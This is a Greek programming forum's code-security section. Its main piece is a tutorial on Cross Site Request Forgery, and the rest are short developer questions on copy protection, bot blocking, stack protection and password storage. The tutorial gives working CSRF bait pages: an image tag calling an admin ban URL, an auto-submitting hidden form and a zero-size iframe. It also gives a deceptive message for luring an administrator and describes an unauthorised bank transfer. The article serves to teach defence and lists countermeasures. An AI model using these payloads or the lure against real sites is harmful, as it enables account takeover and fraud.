Code Security

Προστασία προγράμματος

TasosAdve — Wed, 01 Aug 2012 20:18:26 GMT

Καταρχάς καλησπέρα και καλώς σας βρήκα

στο ψητό, είμαι φοιτητής ηλεκτρονικός και χρειάστηκε να αναπτύξω μια απλή υπολογιστική εφαρμογή για μια βιομηχανική διαδικασία. Το πρόβλημα μου είναι ότι επειδή κανονικά δεν είμαι στην "πιάτσα" του developing για πελάτες κλπ. προφανώς μου ζητήθηκε να κλειδώσει κατά κάποιον τρόπο η εφαρμογή ώστε:

1ον να ελέγχουν την διασπορά. Θέλουν να την δίνουν σε πελάτες, αλλά ΔΕΝ θέλουν να την δώσει πελάτης σε ανταγωνιστή, να βρεθεί γενικώς σε περιβάλλον που ΔΕΝ μπορούν να ελέγξουν (υπόψιν ότι αυτό το είχαμε συζητήση απ' την αρχή και γι αυτό είχα προτείνει web εφαρμογή που ελέγχεις -όσο μπορείς- το access που δίνεις, αλλά θέλαν desktop γιατί λόγω της φύσης της δουλειάς πολλά μηχανήματα μπορεί να είναι σε industrial plants και να μην έχουν σύνδεση με net).

2ον προφανώς ακόμη και αν με κάποιο τρόπο φτάσει σε χέρια άλλου (κλάπηκε hasp κλπ.) να μην μπορεί να γίνει decompile με ένα salamander ή ένα reflector out of the box. Προσωπικά έχω λάβει κάποια μέτρα στον κώδικα για να τον κάνω παραπλανητικό αλλά σίγουρα δεν είναι αρκετά.

Το θέμα όπως καταλαβαίνετε δεν είναι να μιλάμε για κάτι άσπαστο γνωρίζω ότι κάτι τέτοιο είναι αδύνατο. Αυτό που με απασχολεί είναι τουλάχιστον να είναι αρκετά δύσκολο/ακριβό να μπορέσει ο άλλος να φτάσει στα χέρια του ή να δει τον πηγαίο κώδικα.

πχ. από HASP έχοντας δοκιμάσει, ξέρω ότι για το SRM δεν υπάρχει public available emulator αλλά άμα πέσει στα χέρια σου το dongle μπορείς με αρκετό κόπο -ομολογουμένως- να το "ανοίξεις". Οπότε προς τα κει είχα προσανατολιστεί αρχικά.

Διάβασα και τα σχετικά Θέματα που υπάρχουν ήδη στο φόρουμ αλλά είπα να το επαναφέρω μιας και τα θέματα ασφάλειας, κρυπτογράφησης κλπ. αλλάζουν μέρα με τη μέρα.

Ευχαριστώ πολύ για το χρόνο σας.

Cross Site Request Forgery (CSRF)

Thiseas — Sun, 11 Oct 2015 18:38:01 GMT

Το παρακάτω άρθρο αποτελεί αναδημοσίευση κομματιών ή και επι του συνόλου, άρθρων του γράφοντος που είχε κάνει σε άλλα ιστολόγια. Να ξεκαθαρίσω οτι ο στόχος εδώ είναι η εκμετάλλευση της υψηλής επiσκεψιμότητας από developers του τρέχοντος forum με αντικειμενικό σκοπό την ενημέρωση τους ή πιο καλά την ενεργοποίηση της... καχυποψίας τους επάνω σε θέματα ασφάλειας κώδικα.

Ας πάμε...

Θα υποπτευόσαστε ποτέ ως διαρρήκτη τον ίδιο τον ιδιοκτήτη ενός σπιτιού (ας πούμε τον Κο Νοικοκύρη), όταν τον βλέπατε μέρα μεσημέρι να μπαίνει στο σπίτι του από την κεντρική είσοδο με τα κλειδιά στο χέρι; Οι μόνοι που θα μπορούσαν να απαντήσουν «ναι» σε ένα τέτοιο ερώτημα είναι μόνο όσοι έχουνε προβλήματα όρασης! Πώς είναι δυνατόν να υποπτευτείς αυτόν που έχει την δικαιοδοσία να κάνει κάτι; Χμ… μήπως θα πρέπει να το ξανασκεφτούμε; Θα μπορούσε να τον έχει βάλει κάποιος ο οποίος τον απείλησε και ο Κος Νοικοκύρης να το κάνει κάτω από ψυχολογική βία, ή… ακόμα χειρότερα, θα μπορούσε να τον έχει βάλει κάποιος και ο Κος Νοικοκύρης να μην το έχει καν καταλάβει! Όσο κι αν φαίνεται απίθανο και πέρα από τα όρια της λογικής, η τελευταία περίπτωση μπορεί να συμβεί. Ίσως όχι τόσο συχνά στον πραγματικό μας κόσμο, αλλά αρκετά συχνά σε έναν άλλο κόσμο, ιδεατό, εικονικό, αλλά εξίσου επικίνδυνο: Ποιόν άλλον; Τον κόσμο του διαδικτύου. Στο άρθρο αυτό θα μιλήσουμε για τέτοιες επιθέσεις.

Θα αναφερθούμε στo περίφημο Cross Site Request Forgery (CSRF) ή one-click attack ή session riding ή WRPC attack for Web based RPC attack. Όπως καταλάβατε πρόκειται για τον αρχινονό των επιθέσεων μια και με τόσα ονόματα ελπίζει να ξεγλιστρήσει και δυστυχώς, δεν είναι λίγες οι φορές που τα καταφέρνει. Πρόκειται για μια μεθοδολογία επίθεσης που μόλις το 2008 εντάχθηκε στην λίστα των γνωστών παγκόσμιων απειλές του διαδικτύου (http://is.gd/zzXP) αν και το 2006 είχε αναφερθεί ως ο Κοιμώμενος Γίγαντας στο άρθρο του Security DarkReading.

Λίγο… background

Πριν αναφερθούμε στην μέθοδο αυτή καθαυτή θα πρέπει πρώτα να πούμε μερικά βασικά θέματα ασφάλειας που θα πρέπει να γνωρίζουμε έτσι ώστε να την κατανοήσουμε καλύτερα.

Ας ξεκινήσουμε με ένα απλό παράδειγμα: Έστω ότι είμαστε υπεύθυνοι (administrators) σε ένα forum που έχει να κάνει με ασφάλεια υπολογιστών. Κάθε φορά που επισκεπτόμαστε το forum με τον αγαπημένο μας Internet Browser δίνουμε κωδικό και password για να αποκτήσουμε πρόσβαση και (όπως λέμε) να μπούμε μέσα. Η διαδικασία αυτή ονομάζετε authentication ή στα «ξένα» αυθεντικοποίηση (εικόνα 1).

Εικόνα 1: Έχοντας μπει στο site μας με δικαιώματα administrator.

Όση ώρα είμαστε μέσα στο site μας μπορούμε να εκτελέσουμε διάφορες ενέργειες, όπως: Να γράψουμε ένα νέο post, να απαντήσουμε σε κάποιο άλλο κλπ. Δηλαδή ότι μπορούν και τα υπόλοιπα μέλη του forum μας. Όμως εμείς (ως Admin!!) μπορούμε να εκτελέσουμε κάποιες εργασίες που τα άλλα μέλη δεν μπορούν, όπως για παράδειγμα την διαγραφή κάποιου post ενός άλλου μέλους, ή την αποβολή του από το forum, το λεγόμενο ban και πολλά άλλα. Πως γνωρίζει ο server ποιοι είμαστε για να μας αφήσει να εκτελέσουμε αυτές τις ενέργειες; Μα φυσικά, θα σκεφτεί κάποιος, από το authentication που κάναμε στην αρχή. Χμ... τα πράγματα δεν και τόσο απλά.

Το ότι κάναμε authentication μια δεδομένη χρονική στιγμή δεν σημαίνει απολύτως τίποτε διότι το internet είναι (όπως έχουμε ξαναπεί) stateless και κάθε φορά που πατάμε μια ενέργεια στο browser μας, ο server που επισκεπτόμαστε είναι σαν να μας «βλέπει» για πρώτη φορά (http://is.gd/As3a). Αυτή η έλλειψη «μνήμης» του server (όσα Gb RΑΜ κι αν έχει!!) πρέπει με κάποιο τρόπο να «γεφυρωθεί» έτσι ώστε να μας θυμάται για να μην μας ζητά authentication κάθε φορά που του ζητάμε κάτι. Πραγματικά, το σενάριο, αν δεν είχαμε τρόπο να λύσουμε αυτό το πρόβλημα, είναι... εφιαλτικό! Κάθε στιγμή θα μας έλεγε ο server:

Server: -Συγγνώμη κύριε, ποιος είστε;

Admin: -Μα... μόλις συστηθήκαμε!

Αυτό λοιπόν το ιδιόμορφο alzheimer θεραπεύεται με μερικά... μπισκοτάκια! Μην ανησυχείτε, δεν μας έπιασε ο συνήθης παλιμπαιδισμός που μας διακρίνει συχνά και που μας κατατρέχει σχεδόν μόνιμα!, απλά, Μπισκοτάκια (Cookies) ονομάζονται κάποιες μικρού μεγέθους πληροφορίες που βάζει ο server στην μνήμη του υπολογιστή μας έτσι ώστε κάθε φορά που τον καλούμε να θυμάται ποίοι είμαστε (http://is.gd/Asgx).

Μια τέτοια πληροφορία έχει εισαχθεί και στο δικό μας PC και αναφέρει στον server της εικόνας 1 ότι εμείς είμαστε οι διαχειριστές και κατά συνέπεια έχουμε αυξημένα δικαιώματα. Δεν θα επεκταθούμε περισσότερο σε αυτό, μια και θα βγούμε «εκτός θέματος».

Η μέθοδος

Σκεφτείτε ότι εμείς, τώρα, είμαστε οι υποχθόνιοι τύποι που θέλουμε να γίνουμε διαχειριστές στη θέση του διαχειριστή αλλά βρισκόμαστε σε έναν άλλο υπολογιστή ίσως αρκετές χιλιάδες χιλιόμετρα μακριά και το μοναδικό σημείο επαφής μας είναι ο server που φιλοξενεί το forum που θέλουμε να επιτεθούμε. Τι θα συμβεί αν καταφέρουμε να έχουμε πρόσβαση στο cookie του admin; Τότε, θα μπορούσαμε να εκτελέσουμε όλες τις εντολές και τις ενέργειες που μπορεί να έχει ένας διαχειριστής.

Ας πούμε ότι έχουμε προηγούμενα με κάποιο μέλος του συγκεκριμένου forum και θέλουμε να το αποβάλουμε, κοινώς να το ban-άρουμε! Πως θα καταφέρουμε κάτι τέτοιο χωρίς να είμαστε διαχειριστές (admins);

Κατ’ αρχάς πρέπει να ξέρουμε πως όταν ο πραγματικός admin μπανάρει ένα μέλος, στην πραγματικότητα καλεί μια έτοιμη ενέργεια που παρέχει το forum μόνο σε αυτόν. Αυτή η ενέργεια μπορεί να είναι η κλήση ενός προγράμματος στον server που φιλοξενεί το forum. Μόλις κληθεί αυτή η ενέργειά, σίγουρα θα τσεκάρει το cookie (για να ελέγξει αν πρόκειται για τον admin) και μετά θα συνεχίσει το... θεάρεστο έργο της.

Εικόνα 2: Ο χρήστης έχει αποβληθεί (banned) από το forum.

Αυτό λοιπόν που θα κάνουμε συνοψίζεται τα παρακάτω βήματα:

Βήμα 1: Βρίσκουμε (ή φτιάχνουμε μόνοι μας) ένα πρόγραμμα ή μια εντολή η οποία είναι η ίδια που εκτελείτε από το forum όταν ο πραγματικός διαχειριστής αποβάλει ένα άτομο (θα πούμε παρακάτω πως θα την βρούμε κλπ).
Βήμα 2: Αφού την φτιάξουμε θα την βάλουμε σε ένα link το οποίο με κάποιο τρόπο θα στείλουμε στον διαχειριστή και θα τον ωθήσουμε να το πατήσει (με την θέληση του ή μη!). To βήμα αυτό χρειάζεται και λίγο Social Engineering (http://is.gd/AEyb). Μόλις το πατήσει, ο σκοπός έχει επιτευχθεί!

Ας δούμε, λοιπόν, πως γίνονται όλα αυτά στην πράξη!

Η υλοποίηση

Πρώτα πρέπει να υλοποιήσουμε το βήμα 1. Θα βρούμε τι ακριβώς εκτελείται από το πρόγραμμα του forum όταν ο διαχειριστής μπανάρει έναν χρήστη. Εδώ χρειάζεται λίγη πονηριά και λίγη παρατηρητικότητα. Σχεδόν όλα τα forums αναφέρουν τον κατασκευαστή και την έκδοση που βρίσκονται. Αν προσέξετε την εικόνα 1 θα δείτε ότι στο κάτω μέρος αναφέρει “Powered by BabbleBoard v.1.1.6”. To babbleboard είναι ένα γνωστό πρόγραμμα για forums και μάλιστα προσφέρεται και δωρεάν. Ας το κατεβάσουμε λοιπόν και ας το εγκαταστήσουμε στον δικό μας web server. Εδώ απαιτείται να έχουμε ένα δικό μας web server. Μην τρομάζετε, είναι απίστευτα απλό και... δωρεάν! Υπάρχουν εκατοντάδες εταιρίες στο internet που είναι πρόθυμες να σας φιλοξενήσουν (google it “hosting” και θα καταλάβετε).

Αφού λοιπόν βρούμε και κατεβάσουμε το BabbleBoard και συγκεκριμένα την έκδοση 1.1.6, φτιάχνουμε ένα τεχνητό forum, και μπαίνουμε σαν διαχειριστές. Φτιάχνουμε και 2-3 χρήστες και αρχίζουμε να τους μπανάρουμε για να δούμε ποιες ακριβώς εντολές εκτελούνται! Για να δούμε όμως κάτι τέτοιο θα χρησιμοποιήσουμε ένα πολύ χρήσιμο add-on του firefox: To Live Http Headers (http://is.gd/9j1P). Το συγκεκριμένο add-on μας δείχνει ποιές εντολές (κρυφές ή μη) εκτελούνται στον server όταν πατάμε ένα link ή μια ενέργεια στον browser μας. Απ’ ότι καταλάβατε, η ενέργεια που θα κατασκοπεύσουμε είναι η “Ban User”.

Δεν είναι ο σκοπός του άρθρου αυτού να σας δείξει πως εγκαθιστώ ένα forum ή CMS (Content Management System), ούτε και να δείξει πως ακριβώς λειτουργεί το add-on http-header. Αυτά τα βήματα θα τα θεωρήσουμε ως δεδομένα.

Ανοίγουμε, λοιπόν, το τεχνητό forum μας και μπαίνουμε σαν διαχειριστές. Πάμε στην διαχείριση Χρηστών και επιλέγουμε έναν τυχαίο χρήστη (κάποιον από αυτούς που φτιάξαμε πριν λίγο). Θα παρατηρήσουμε ότι υπάρχει (όπως σε όλα τα CMS άλλωστε) μια επιλογή «ban user». Ενεργοποιούμε το Live Http Headers και πατάμε την επιλογή. Θα δούμε ότι ο συγκεκριμένος χρήστης δεν μπορεί πια να μπει στο forum μας (εικόνα 2). Ωραίαααα! Ας δούμε τώρα τι ακριβώς έχει καταγράψει το πρόγραμμα http-headers :

Εικόνα 3: Καταγραφή των εντολών του ban, φαίνεται η βασική εντολή «εκτέλεσης».

Βλέπουμε ότι η βασική εντολή που υλοποιεί το ban είναι η παρακάτω:

http://www.ToTexnitoSiteMas.gr/index.php?page=admin&act=members&func=ban&id=2

Χμ... απ’ ότι βλέπουμε το μόνο που χρειάζεται είναι να περάσουμε το id του χρήστη που θέλουμε να μπανάρουμε στην μεταβλητή “id”. Το id ενός χρήστη είναι πάρα πολύ εύκολο να το βρούμε διότι δεν αποτελεί κάποια κρυμμένη πληροφορία. Μπορούμε να το βρούμε συνήθως πηγαίνοντας στην λίστα μελών (members) του forum και εκεί να κάνουμε click στον συγκεκριμένο χρήστη. Στην γραμμή URL του browser μας ή (πάλι με την χρήση του http-headers) θα δούμε το id του χρήστη. Μόλις ολοκληρώσαμε επιτυχώς το βήμα 1.

Ερχόμαστε τώρα στο βήμα 2. Πρέπει να φτιάξουμε ένα link κάπου το οποίο θα εκτελεί την παραπάνω εντολή ως εξής:

http://www.ToSiteStoxos.gr/index.php?page=admin&act=members&func=ban&id=245

όπου το 245 είναι το id του χρήστη που μας είναι αντιπαθής και το “www.ToSiteStoxos.gr” είναι το προς επίθεση site.

Αυτό που τώρα μένει είναι να κρύψουμε την παραπάνω εντολή μέσα σε ένα κάποιο αρχείο html και να το στείλουμε με την μορφή link στον administrator του forum. Μόλις κάνει click επάνω σε αυτό και με το δεδομένο ότι έχει μπει στο forum του (βασικό αυτό – για να έχουν ενεργοποιηθεί τα μπισκοτάκια του!), θα εκτελεστεί η εντολή αποβολής του χρήστη με id 245, στον δικό του υπολογιστή. Δηλαδή στον υπολογιστή που έχει το σωστό cookie! Έτσι ο admin χωρίς να το θέλει θα αποβάλει τον χρήστη 245.

Έχουμε όμως να ξεπεράσουμε μερικά μικρά εμπόδια: Δεν πρέπει σε καμιά περίπτωση o διαχειριστής να καταλάβει τι έκανε. Δηλαδή θα πρέπει να βλέπει στην οθόνη του κάτι τελείως άσχετο με την κρυφή ενέργεια μας ώστε να μην πονηρευτεί πως κάτι περίεργο συμβαίνει. Πώς θα το κάνουμε αυτό; Χμ... εδώ θα κάνουμε ένα μικρό trick με την html. Θα κρύψουμε την εντολή αυτή μέσα σε μια... εικόνα! Μόλις το αρχείο html θα ανοίξει από το browser του θύματος, το πρώτο πράγμα που θα κάνει ο browser είναι να πάει να ανοίξει όλες τις εικόνες που αναφέρονται μέσα στο αρχείο αυτό. Μια από αυτές όμως δεν θα είναι πραγματική εικόνα. Ο browser δεν είναι σε θέση να το γνωρίζει αυτό, οπότε θα εκτελέσει τον... κακό μας κώδικα!

Φτιάχνουμε λοιπόν το αρχείο html που θα είναι το δόλωμα μας:

ArxeioDoloma.html
<img src="http://tbn2.google.com/images?q=tbn:B6T6sKSdPglmgM:http://www.pnl.gov/breakthroughs/issues/2005-issues/fall/images/cyber_security.jpg"/>
<img src="http://tbn1.google.com/images?q=tbn:UwCxyuruNPQ90M:http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg"/>
<img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif>
<img src="http://tbn0.google.com/images?q=tbn:33Ss5eKab3X_fM:http://www.freedomsecurity.us/Security%20Badge.jpg"/>
<img src="http://www.s3curity.gr/babbleboard/index.php?page=admin&act=members&func=ban&id=4"/>

Απ’ ότι βλέπετε η εντολή που θα κάνει την «δουλειά» είναι η τελευταία η οποία είναι κρυμμένη μέσα σε ένα <img> tag! Το επόμενο βήμα μας είναι να ανεβάσουμε αυτό το αρχείο σε κάποιον server (π.χ. σε αυτόν που δοκιμάσαμε το forum μας στο βήμα 1) και μετά στείλουμε ένα πολύ όμορφο PM (Personal Message) στον διαχειριστή και να του λέμε τα εξής:

---

Φίλε Admin γεια χαρά,

Κατ’ αρχάς θέλω να σε συγχαρώ για την καταπληκτική δουλειά που έχει κάνει στο forum.
Είμαι 10 χρόνια web designer αλλά με ενδιαφέρει πάρα πολύ και το θέμα του security.
Στο forum σας βρήκα αυτό που ακριβώς έψαχνα: ένα χώρο αξιόπιστο και με γνώσεις για κάποιον που θέλει να μάθει.
Btw, βρίσκω τα βασικό banner του site σας μια χαρά, αλλά θα ήθελα να σε ενημερώσω ότι τεχνολογικά υπάρχουν κι άλλες νεότερες υλοποιήσεις τις οποίες έχω σχεδιάσει εγώ ο ίδιος για κάποιους πελάτες μου στο παρελθόν. Θα χαρώ να τις μοιραστώ μαζί σας, φυσικά χωρίς καμιά απολύτως χρέωση. Αν σε ενδιαφέρει ρίξε μια ματιά στο παρακάτω link για να δεις για τι πράγμα σου μιλάω:

LINK--> <a href="http://www.ToTexnitoSiteMas.gr/ArxeioDoloma.html">Οι Εκόνες μου</a>

Ζητώ συγγνώμη αν κάποιες είναι broken, μια και είναι από sites πελατών μου και μπορεί να τις έχουμε αλλάξει θέση.

Σε ευχαριστώ και πάλι για όλες τις χρήσιμες πληροφορίες που μας παρέχεις!

O_Kakos_Daimonas

---

Μόλις λοιπόν ο admin διαβάσει το παραπάνω PM θα σπεύσει (ελπίζουμε, σαν κακόπιστοι και υποχθόνιοι τύποι που είμαστε) να πατήσει το link για να δει ποιο είναι αυτό το νέο και μοντέρνο banner που θέλει να του προσφέρει δωρεάν ο φίλος “O_Kakos_Daimonas”. Θα δει λοιπόν τα παρακάτω:

Εικόνα 4: Ένα αρχείο με κάποιες εικόνες. Κάποιες είναι... broken, όχι όμως λόγο του οτι λείπει το link!

Όταν ο διαχειριστής θα δει την παραπάνω εικόνα, το κακό θα έχει ήδη γίνει και δεν θα έχει πάρει «μυρωδιά»! Οι εικόνες θα έχουν εκτελεστεί από τον web browser και ο καημένος ο χρήστης θα έχει γίνει ban χωρίς να έχει κάνει τίποτε κακό! Ένα ακόμα Cross Site Request Forgery vulnerability θα έχει επιτευχθεί!

Πιο προχωρημένες τεχνικές

Η παραπάνω τεχνική ήταν από τις πιο απλές και εύκολες στην υλοποίηση. Αυτό διότι υλοποιούσε το μοντέλο GET. Δηλαδή όλες οι απαραίτητες πληροφορίες για την επίθεση περνούσαν στον server από την γραμμή του web browser μας (στην γραμμή διευθύνσεων – το λεγόμενο URL box) σαν παράμετροι στο βασικό αρχείο index.php. Δεν λειτουργούν όμως όλες οι επιθέσεις έτσι. Πολλά και μάλιστα σοβαρά sites υλοποιούν το μοντέλο POST. Δηλαδή οι βασικές παράμετροι μιας ενέργειας περνάνε με την μορφή κρυφών μεταβλητών οι οποίες δεν είναι ορατές στο URL box. Και σε αυτές τις περιπτώσεις (δυστυχώς) μπορούμε να υλοποιήσουμε επιθέσεις, με την χρήση JavaScript.

Για παράδειγμα, έστω ότι βλέπαμε μέσω http-headers, σε κάποιο forum, πως όταν διαγράφουμε έναν χρήστη εκτελείτε η παρακάτω ενέργεια:

Εικόνα 5: Διαγραφή ενός χρήστη με την χρήση POST requests.

Εδώ δεν μπορούμε να καλέσουμε απλά μια εντολή στην την γραμμή διεύθυνσης του browser μας. Θα πρέπει να υλοποιήσουμε την επίθεση γράφοντας πρώτα τον παρακάτω κώδικα:

csrf_exploit2.php
<html>
<form name="admin" action="http://www.ToSiteStoxos.gr/index.php" method="POST">
   <input type="hidden" name="action" value="ThreadDelete">
   <input type="hidden" name="threadID" value="5">
   <input type="hidden" name="x" value="2">
   <input type="hidden" name="y" value="8">
</form>
<script>document.admin.submit()</script>
</html>

Δηλαδή υλοποιούμε τις μεταβλητές με κρυμμένες μεταβλητές html, όπως ακριβώς κάνει και το κανονικό forum-στόχος. Το αντίστοιχο αρχείο δόλωμα όμως δεν θα ήτανε το csrf_exploit2.php, αλλά κάποιο άλλο που θα καλούσε (έμμεσα) το csrf_exploit2.php. Δηλαδή κάτι σαν αυτό:

ArxeioDoloma2.html

<html>
<IFRAME src="http://www.ToSiteStoxos.gr/csrf_exploit2.php" WIDTH=0 HEIGHT=0 frameborder=0></IFRAME>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://twitter.com/totalXAKER">
</html>

Το ArxeioDoloma2.html χρησιμοποιεί πιο προχωρημένη τεχνική phishing οδηγώντας το θύμα στο twitter του total Xaker, κρύβοντας εντέχνως (μέσω IFRAME με μηδενικό μέγεθος!) τον πραγματικό του στόχο που είναι η κλήση και η εκτέλεση του csrf_exploit2.php!

Η αλήθεια βρίσκεται εκεί έξω

Δυστυχώς η αλήθεια δεν βρίσκεται σε μικρά forums και σε ψευτο-διαμάχες μεταξύ χρηστών, αλλά σε πιο σοβαρά θέματα όπως η κλοπή προσωπικών δεδομένων, η κλοπή χρημάτων μέσω παράκαμψης ασφάλειας σε περιβάλλον web-banking και διάφορα άλλα τέτοια «όμορφα». H συγκεκριμένη αδυναμία είναι μεν σχετικά παλιά, αλλά είναι και αρκετά σπάνια και όχι τόσο διαδεδομένη. Είναι όμως ΠΑΡΑ ΠΟΛΥ επικίνδυνη!

Οφείλουμε να ειδοποιήσουμε όλους όσους διαβάσουν αυτό το άρθρο ότι τα παράδειγμα μας ήταν εντελώς αληθινά και δυστυχώς δεν περιορίζονταν μόνο σε μικρά forums. Ο στόχος μας όμως είναι η γνώση για την προφύλαξη και όχι για την επίθεση! Όσοι έχουν πρόσβαση σε μεγάλους οργανισμούς ή εταιρίες ας πονηρευτούν.

Η παρακάτω εικόνα (ελπίζω αρκετά καλά κρυμένη) δείχνει την υλοποίηση μιας επιτυχημένης επίθεσης σε Web Banking μεγάλης Ελληνικής Τράπεζας με αποτέλεσμα την μεταφορά χρημάτων από ένα λογ/μό σε ένα άλλο, χωρίς την... συγκατάθεση του χρήστη!

Φυσικά δεν θα ήθελα να περιμένει κάποιος να δείξουμε συγκεκριμένες λεπτομέρειες από την συγκεκριμένη επίθεση, αν και δεν διαφέρει σε τίποτα (σε μεθοδολογία) από αυτές που ήδη παρουσιάστηκαν. Η συγκεκριμένη επίθεση μετέφερε 11€ από ένα λογαριασμό (πηγή) σε ένα άλλο λογαριασμό (στόχο). Μάλιστα πριν γίνει η ανορθόδοξη μεταφορά (μέσω της επίθεσης) έγινε μια κανονική μεταφορά (10€) από τον ίδια πηγή στον ίδιο στόχο. Όπως βλέπετε η κινήσεις στον λογ/μό στόχο δεν φαίνεται να έχουν καμιά διαφορά... Αναφέρονται σαν 2 απλές καταθέσεις.

Αντίμετρα

Λάβετε σοβαρά υπ’ όψη αυτήν την αδυναμία και (για αρχή) σαν χρήστες κάντε τα παρακάτω:

Να μην αφήνετε ανοιχτό το session σε ένα ευαίσθητο site που είστε γραμμένοι. Με απλά λόγια, όταν τελειώνετε τις εργασίες σας να κάνετε πάντα logout, «έξοδος χρήστη» ή όπως αλλιώς λέγεται στο κάθε site ώστε να διαγράφονται τα session cookies.
Να χρησιμοποιείτε έναν internet browser που να εκτελείτε τις οικονομικές σας συναλλαγές και γενικά που διαχειρίζεστε προσωπικά δεδομένα και έναν άλλον internet browser που θα είστε σε sites χαμηλής ή / και αμφιβόλου αξιοπιστίας.
Να ΜΗΝ ανοίγετε και να ΜΗΝ εμπιστεύεστε ότι mail ή link σας δώσει κάποιος. Ακόμα κι αν αυτός σας είναι απόλυτα έμπιστος. Εν ανάγκη κάντε το copy και ανοίχτε το στον άλλον internet browser.

Στον internet γενικότερα να μην έχετε εμπιστοσύνη ούτε στον ίδιο σας τον εαυτό διότι ενίοτε μπορεί να είναι κάποιος... άλλος!

Spam/Malicious Bot blocking στον IIS

vlinakis — Mon, 28 Feb 2011 05:23:23 GMT

Καλησπέρα σε όλους,

Έχω ένα ερώτημα το οποίο δεν είναι αμιγώς θέμα Code Security αλλά υποθέτω ότι κάποιοι από όσους διαβάζουν ίσως έχουν κάποιες συμβουλές να μου δώσουν.

Πρόσφατα φαίνεται ότι ένας από τους shared hosting servers που έχω για να φιλοξενώ sites πελατών μου έχει γίνει δέκτης κάποιων επιθέσεων. Πρόκειται για μια δική μου εικασία η οποία βασίζεται στα στοιχεία που έχω στα χέρια μου.

Στα περισσότερα από τα sites που έχω επάνω στον server έχω έναν script-based error handling μηχανισμό ο οποίος με ειδοποιεί με email όποτε προκαλείται ένα 500-αρι error. Τις τελευταίες μέρες έχω πάρει πολλά τέτοια emails από πολλά από τα sites που έχω επάνω στον συγκεκριμένο server. Γνωρίζω σίγουρα ότι δεν πρόκειται για πραγματικά errors από legitimate users διότι έχουνε ελλειπή στεία ως προς τις συνθήκες κάτω από τις οποίες προκλήθηκε το σφάλμα. Σε πολλά από τα emails που λαμβάνω φαίνεται ως user agent ο "libwww-perl". Διαβάζοντας στο internet έπεσα πάνω σε αρκετές αναφορές σχετικά με κάποια malicious bots που κυκλοφορούν με αυτόν τον user agent.

Η ερωτήσεις μου είναι:
- Μπορώ με κάποιο τρόπο κεντρικά στον IIS (7.5) να μπλοκάρω ορισμένα bots;
- Αν όχι, τότε θα μπορούσα ίσως να το κάνω μέσω robots.txt σε κάθε ένα από τα sites ξεχωριστά;
- Σκέφτομαι να μπλοκάρω και κάποιες IP αλλά αυτές αλλάζουν συνεχώς. Μάλλον δεν έχει νόημα να κάνω κάτι τέτοιο.

Υπάρχει καμιά άλλη ιδέα/συμβουλή;

Ευχαριστώ,
Βασίλης

Ασφαλεια σε Client Server

ntaryl — Mon, 15 Nov 2010 06:11:55 GMT

καλησπερα

Εχω φτιαξει μια εφαρμογουλα Client Server σε visual basic 6

Επειδη ο Server μπορει να αλλαχτει η να ξαναρυθμιστει μονο απο τον Clientr .Μου ειχε καρφωθει να βρω εναν τροπο ωστε να μην μπορει ο καθενας που ειχε το client κομματι να μπορει να αλλαξει κατι στον Server..

Φυσικα η συνδεση μεταξυ τους γινεται επειτα απο επιβεβαιωση συνθηματικων ..

Στο μυαλο μου υπηρχε και το ενδεχομενο οτι καποιος μπορει να ειχε το Default συνθηματικο και εχοντας στην κατοχη του ενα client να μπορει να συνδεθει σε καποιον Server και να το αλλαξει....

Διαβαζοντας απο εδω και απο εκει τελικα αποφασισα να δημιουργησω ενα κλειδι στον client και οταν παμε να δημιουργησουμε ενα Server τοτε να αποθηκευετε μεσα σε αυτον το κλειδι ....Το κλειδι πρεπει να ειναι ενα και μοναδικο(χρησιμοποιω το Σειριακο του πρωτου δισκου και το UserName )Το κλειδι αποθηκευετε απο την μερια του client (κωδικοποιημενος με AES και με μοναδικο password)σε ενα αρχειο bin .....Οταν λοιπον θελουμε να αλλαξουμε κατι στο Server πρεπει το κλειδι να συμφωνει και στα δυο κομματια της εφαρμογης...

......

Win 7 Stack protection feature...?

Thiseas — Tue, 24 Aug 2010 16:20:07 GMT

Γιατί άραγε δεν δουλεύει το stack protection (_cookie_vars_ κλπ) στα Win 7 όταν το χρησιμοποιούμενο buffer είναι μικρότερο ή ίσο από 4 bytes...?
Μην μου απαντήσετε "Διότι με 4 bytes δεν μπορείς να περάσεις shellcode!" διότι θα σας πω οτι με 4 bytes μπορείς κάλιστα να κάνεις ανακατεύθνυση της RET address και αυτό είναι πολλές φορές αρκετό!

Users passwords encryption

zeon — Wed, 04 Aug 2010 04:54:09 GMT

Στο παρελθόν σε διάφορες asp.net εφαρμογές έχω εφαρμόσει μεθόδους για encryption και storing σε database passwords χρηστών, αλλά αυτές οι εφαρμογές ήταν σε επίπεδο intranet ή τέλος πάντων όχι τόσο μαζικές και τώρα υπάρχει αναγκαιότητα για asp.net εφαρμογή σε μεγάλο range χρηστών (βασικά σε όλο το διαδύκτιο) θα ήθελα κάποιος έμπειρος να μου πει την άποψή του αν με τα παρακάτω είμαι οκ ή τέλος πάντων σχετικά οκ.
Παίρνω το password που δίνει ο χρήστης και προσθέτω prefix και suffix. Εκτελώ md5 και αποθηκεύω αυτό που παίρνω.
Prefix και suffix μπορώ να βάλω με διάφορους τρόπους και ανάλογα με το record ίσως.
Το θέμα είναι πως μπορώ να έχω όσο το πιο δυνατόν "καλύτερα" suffix και prefix? Να μην μπορεί κάποιος να τα "μαντέψει/βρει"? Ή κάτι τέτοιο δεν χρειάζεται να με απασχολεί?
Και δεύτερον με αυτό τον τρόπο, μπορώ να κοιμάμαι σχεδόν ήσυχος?
Ποιες άλλες μεθόδους μπορώ να ακολουθήσω για ακόμα καλύτερη ασφάλεια? Να κάνω ας πούμε ανενεργό ένα χρήστη αν δοκιμάσει κάποιες φορές λάθος pass?

Ευχαριστώ εκ των προτέρων

reCAPTCHA asp.net plugin

zeon — Thu, 05 Aug 2010 13:51:19 GMT

Έχει χρησιμοποιήσει κανείς αυτό το plugin? Είναι ασφαλές?
Ευχαριστώ εκ των προτέρων

Χρήση format parameter %n σε printf στην C++ (VS2008)

Thiseas — Tue, 16 Mar 2010 00:18:04 GMT

Αναφέρεται από μερικούς οτι η παράμετρος %n της printf που γράφει σε συγκεκριμένη διεύθυνση μνήμης συγκεκγριμένες τιμές, έχει καταργηθεί από την Microsoft, αν και αναφέρεται μέσα στο MSDN.

